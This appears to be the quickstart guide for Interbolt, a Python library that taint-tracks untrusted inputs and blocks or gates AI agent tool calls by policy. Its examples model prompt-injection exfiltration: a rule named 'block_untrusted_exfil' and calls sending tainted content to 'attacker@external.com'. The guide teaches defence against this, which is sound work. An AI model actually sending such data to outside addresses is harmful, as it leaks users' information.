Quickstart

Install

Requires Python 3.12 or newer.

pip install interbolt

Interbolt's core is plain Python with no framework dependency, so it works with any tool-calling code, hand-rolled or otherwise. There are no framework-specific adapters (LangChain, CrewAI, Pydantic AI, LlamaIndex); you wire @guard and taint() into your own tool layer. See Threat model for the full scope of what Interbolt does and does not cover.

Write a policy

Generate the starter policy with interbolt init, or write your own:

interbolt init                   # writes policy.example.yaml to the current directory
interbolt init policy.yaml       # or choose a path

A policy declares the trust level of every ingress source and gates each guarded sink. A source not declared under sources always resolves to untrusted; this default-deny posture is fixed and not configurable:

version: "2.0"

defaults:
  sink_action: require_approval
  # fail_mode: enforce   # pin the mode from the policy; see Policies: modes and fail_mode

sources:
  - name: web_search
    trust: untrusted
  - name: internal_kb
    trust: trusted

sinks:
  default.send_email:
    rules:
      - name: block_untrusted_exfil
        when: taint.exists(t, t.trust == "untrusted") && args.to.endsWith("@external.com")
        action: block
      - name: default
        action: require_approval

Each entry under sinks: describes one tool. rules: gates calls to it, first match wins, and capabilities: says what the tool does. Both keys are optional.

The sink key must match the guarded tool's qualified name: a bare @guard on def send_email registers default.send_email, which is the key above.

See Policies for the full DSL and the CEL context available inside when, and Writing a policy for the same path taken step by step, including endorsement carve-outs and the run.tainted backstop.

Configure the runtime

from interbolt import configure, Policy

runtime = configure(policy=Policy.from_file("policy.yaml"))

configure() compiles the policy and installs the result as the process-current runtime. It has no import-time side effects: a module decorated with @guard can be imported before configure() runs, and only calling the guarded function requires an installed runtime. See Identity for the full binding model.

If you omit policy, Interbolt loads the built-in default, which declares no sources and no sinks and lets every guarded call fall through to require_approval. Since the default approval resolver denies every request, every guarded call then raises ApprovalDenied. A warning is logged naming the built-in default and pointing to interbolt init.

Mark untrusted data at ingress

from interbolt import taint, Tainted

def web_search(query: str) -> str:
    ...  # calls an external search API

summary: Tainted = taint(web_search("..."), source="web_search")

taint() returns a Tainted, a str subclass, so it is accepted anywhere a plain str is expected with no change to a tool's signature. The source string is the join key to the policy's sources table. See Taint propagation for what survives a transformation.

Guard a tool call

The primary pattern defines tools with a bare @guard and no agent reference. Tools can live in their own module and be decorated where they are defined:

# tools.py
from interbolt import guard

@guard
def send_email(to: str, body: str) -> None:
    ...

Bind the acting agent's identity separately, at the call site, with runtime.agent_context(...):

# main.py
from interbolt import PolicyViolation
from tools import send_email

async def handle_request(agent_id: str) -> None:
    async with runtime.agent_context(agent_id) as run:
        try:
            send_email(to="attacker@external.com", body=summary)
        except PolicyViolation as e:
            print(e.decision.matched_rule)   # "block_untrusted_exfil"
            print(e.decision.action)         # Action.BLOCK
        print(run.run_id)   # the join key on every Decision/Event above

@guard inspects the bound call arguments, collects every taint label found (recursing into containers), and calls check() before the wrapped function runs:

• allow: the call proceeds.
• block: raises PolicyViolation, carrying the Decision on .decision.
• require_approval: invokes the configured ApprovalResolver, and raises ApprovalDenied if it denies.

agent_context binds agent_id in a contextvars.ContextVar for the duration of the async with block, mints one run_id shared by every guarded call inside it, and yields both back as a RunContext (run.run_id, run.agent_id). The as run clause above is optional, a bare async with runtime.agent_context(agent_id): still works. Because ContextVar state is isolated per asyncio task, two agents running concurrently, each in its own agent_context block, keep separate identities automatically, with no locking required. For a synchronous call site, use runtime.agent_context_sync(...) instead, which performs identical binding, cleanup, and yield without requiring async with.

Guarded calls made outside any agent_context still work, falling back to "default" (constants.DEFAULT_AGENT_ID) with a fresh run_id each. The cost is that nothing accumulates across calls, so run.tainted never becomes true and run-level gating is effectively off. See Identity.

Durable per-agent handles, across modules

For a function that always belongs to one fixed agent, or for guarded calls offloaded to a thread pool (where agent_context cannot reach the call), bind the agent at decoration time instead, with agent(...):

# agents.py
from interbolt import agent

support = agent("support-agent")
billing = agent("billing-agent")

# tools.py
from agents import support

@support.guard
def send_email(to: str, body: str) -> None:
    ...

send_email(to="attacker@external.com", body=summary)

agent(...) captures the agent_id eagerly (just a string) and resolves the current runtime lazily at call time, the same way bare @guard does: agents.py can be imported, and its handles decorated onto tools in other modules, before configure() has run anywhere in the process. This is the pattern for a codebase with agents and tools spread across several files: define the handles once, in one module, and import them wherever a tool needs one. runtime.agent(...) (a method on the object configure() returns) is equivalent, kept for discoverability.

@support.guard behaves identically to @guard, with the same taint collection, the same check() call, and the same handling of allow, block, and require_approval. The only difference is where agent_id comes from, and a handle carries only agent_id, never run_id. The two patterns compose in the same codebase. See Identity for the thread-pool case in full.

Track data into and out of a model call

An LLM call is the same kind of boundary as an agent handoff: whatever the model emits carries no label, even when its prompt or retrieved context was tainted. track_model_call closes that gap by tainting a function's return value as derived from its own bound arguments:

from interbolt import taint, track_model_call

@track_model_call(source="model")
def summarize(web_result: str, internal_result: str) -> str:
    return llm_client.complete(f"Summarize: {web_result}\n{internal_result}")

summary = summarize(
    taint(web_search("..."), source="web_search"),   # untrusted
    taint(read_kb("..."), source="internal_kb"),      # trusted
)

summary is trusted only if every tainted argument passed to summarize was trusted, and untrusted if any one of them was. An argument that was never tainted at all is trusted by construction, the same rule that applies everywhere else in Interbolt: an unlabeled value is treated as your own code's data, which is what makes incremental adoption possible. The cost is that a forgotten taint() call at an ingress point silently launders; the Auditing guide covers finding those spots. summary.label.source names the derivation hop ("model"), for tracing, while summary.label.lineage still names the real upstream sources (("web_search", "internal_kb")), so trust resolves at a downstream sink exactly as if those sources had reached it directly.

This tracks provenance only and does not evaluate policy. Stack @guard alongside it if the call into the model itself should also be gated:

@support.guard(tool="llm.summarize")
@track_model_call(source="model")
def summarize(web_result: str, internal_result: str) -> str:
    ...

The underlying primitive is taint(value, source=..., derived_from=[...]), and track_model_call is the ergonomic wrapper for the common "wrap a function call" case. Calling taint directly with derived_from is also the trust-aware upgrade to the manual multi-agent handoff pattern (see Identity: multi-agent runs and handoffs). See Taint propagation for the full contract.

Get the decision, and why

check()/guard always compute a Decision. check() (and Runtime.check) return it directly, for every outcome including allow, and never raise on a block or require_approval (only on an evaluation failure, fail-closed under enforce). @guard, by contrast, acts on the decision, attaching it to the exception it raises on block, require_approval, or an evaluation failure:

from interbolt import ApprovalDenied, PolicyEvaluationError, PolicyViolation

try:
    send_email(to="attacker@external.com", body=summary)
except (PolicyViolation, ApprovalDenied, PolicyEvaluationError) as e:
    decision = e.decision
    decision.action              # Action.BLOCK
    decision.matched_rule         # "block_untrusted_exfil", or None for the sink's default action
    decision.matched_condition    # the rule's CEL text, or None for the catch-all/no-match
    decision.untrusted_sources    # frozenset({"web_search"}): the source(s) that caused this

For a ready-made human summary instead of assembling one from those fields, use describe_decision. Like describe_event/describe_finding, it returns a rich-markup-tagged string, meant for a rich.console.Console rather than a bare print():

from rich.console import Console
from interbolt import describe_decision

Console().print(describe_decision(decision))
# one line (wrapped here for width):
# default.send_email  block  rule=block_untrusted_exfil
#   when='taint.exists(t, t.trust == "untrusted") && args.to.endsWith("@external.com")'
#   mode=enforce  untrusted_sources={web_search}

Acting on a decision without @guard

When the tool is not yours to decorate (it belongs to a framework or an existing registry), call check() in your dispatch loop and follow it with enforce_decision(), which turns the Decision into the same control flow @guard produces: allow returns, block raises PolicyViolation, require_approval invokes the ApprovalResolver and raises ApprovalDenied on denial.

from interbolt import check, enforce_decision_sync

# inside an agent_context, run_id resolves from the active run automatically;
# pass it explicitly only outside a context or to override
decision = check(
    tool="send_email",
    args={"to": to, "body": body},
    agent_id=agent_id,
)
enforce_decision_sync(decision)   # no-op on allow; raises on block or denied approval
send_email(to=to, body=body)

@guard is exactly this pair, check() then enforce_decision_sync() (or enforce_decision() awaited, at an async call site), wrapped around your function; reach for the explicit form only when you cannot decorate the call. An async dispatch loop awaits enforce_decision(decision), which can use an async ApprovalResolver. See Identity: custom dispatch loops.

Next steps

• Writing a policy: the full path from ingress to decision, with endorsement carve-outs, the run.tainted backstop, and rollout.
• Policies: the DSL, evaluation order, the CEL context.
• Testing: assert on decisions with InMemoryReporter.
• Auditing: find forgotten re-taint calls.
• API reference: every public name.